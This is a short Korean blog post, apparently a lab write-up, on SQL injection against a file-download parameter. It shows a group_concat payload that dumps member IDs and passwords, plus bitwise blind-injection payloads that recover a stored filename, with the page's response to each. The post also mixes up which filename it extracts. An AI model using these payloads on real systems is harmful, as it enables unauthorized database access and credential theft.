웹 해킹/SQL Injection
SQL Injection을 통한 데이터 조회 공격 실습
Kwon Oh! JUN
2022. 10. 2. 17:27
지난 시간에 이어서 이번에는 데이터 조회 공격 실습
org_filename에 사용자가 지정한 파일 이름이 출력된다고 했다.
이걸 활용해서 SQL injection 공격이 가능하다.
그림 참고하면
org_filename 파라미터에 select group_concat(id, '###', password, ',,') from members 쿼리가 들어가서
members 테이블의 id, password 컬럼을 그룹핑해서 한번에 구할 수 있게 했다.
real_filename에는 지난시간처럼 실질적인 파일 다운로드 경로를 설정해줬다.
여기서 잠깐 만약 real_filename을 모른다면 어떻게 해야될까?
blind-sql 인젝션을 통해서 구해주면된다.
org_filename 데이터 구하기 | ||
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%261%3d1 | 파일 다운로드 (1) | org_filename : c□□□□... |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%262%3d2 | 파일 다운로드 (1) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%264%3d4 | 파일이 존재하지 않습니다. (0) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%268%3d8 | 파일이 존재하지 않습니다. (0) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2616%3d16 | 파일이 존재하지 않습니다. (0) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2632%3d32 | 파일 다운로드 (1) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2664%3d64 | 파일 다운로드 (1) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%26128%3d128 | 파일이 존재하지 않습니다. (0) |
이런식으로 구하면된다...
그래서 구한 org_filename으로 다시한번 해보면 정상적으로 확인할 수 있다.